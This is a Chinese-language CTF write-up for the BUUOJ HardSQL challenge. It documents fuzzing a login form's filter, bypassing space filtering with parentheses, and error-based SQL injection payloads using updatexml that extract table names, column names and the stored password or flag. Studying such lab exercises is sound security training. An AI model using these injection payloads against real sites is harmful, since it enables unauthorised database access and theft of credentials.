[极客大挑战 2019]HardSQL

题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]HardSQL

打开题目后,环境如下。

只有一个登录框,因此八九不离十就是 SQL 注入题目。

首先尝试使用万能密码登陆,Payload:admin' or 1=1;#

从回显来看,网站应该存在 WAF 或一些对用户输入的检测,接下来尝试 fuzzing 一下看看有什么字符是被过滤了的。

长度为 789 的响应包即是被过滤了的字符。

可以发现,如 unionand= 等字符都被过滤,因此就要考虑如何绕过空格的过滤。

经过尝试 %a0%0a 等多种方式,发现均无法绕过空格,因此只能使用括号来绕过空格。

尝试 Payload:1'or(1)%3b%23 发现,后端是由单引号 ' 闭合。

通过分析 fuzzing 的结果,发现报错注入似乎没有被过滤,接下来尝试报错注入。

Payload:1'or(updatexml(1,concat(0x7e,database()),1))%3b%23,获得数据库名。

Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%3b%23,获得数据表名。

Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%3b%23,获得字段名。

Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(((password))))from(H4rDsq1)),0x7e),1))%3b%23,获取 password 字段的内容。

发现输入长度有限,于是使用 left、right 函数进行截断输出,然后再将 flag 拼接起来。

Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%3b%23

参考链接:https://cloud.tencent.com/developer/article/2359640

posted @ 2024-11-02 23:54  imtaieee  阅读(37)  评论(0编辑  收藏  举报